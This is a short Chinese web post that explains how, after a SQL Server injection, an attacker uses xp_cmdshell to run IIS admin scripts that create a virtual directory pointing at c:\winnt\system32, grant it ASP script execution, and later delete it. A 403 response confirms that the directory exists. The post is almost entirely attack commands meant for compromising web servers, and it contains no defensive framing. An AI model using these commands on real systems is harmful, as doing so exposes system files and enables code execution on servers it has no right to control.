sql server注入建立虚拟目录的方法

    exec master.dbo.xp_cmdshell ‘cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w “l” -v “win”,”c:\winnt\system32″‘
    建立虚拟目录win,指向c:\winnt\system32
    exec master.dbo.xp_cmdshell ‘cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture’
    让win句有解析asp脚本权限

    exec master.dbo.xp_cmdshell “cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/”
    删除虚拟目录。
    找不到web绝对路径的一种解决办法,
    http://xxx.com/win
    403错误,表示虚拟目录建好了。。。

发表评论

发表评论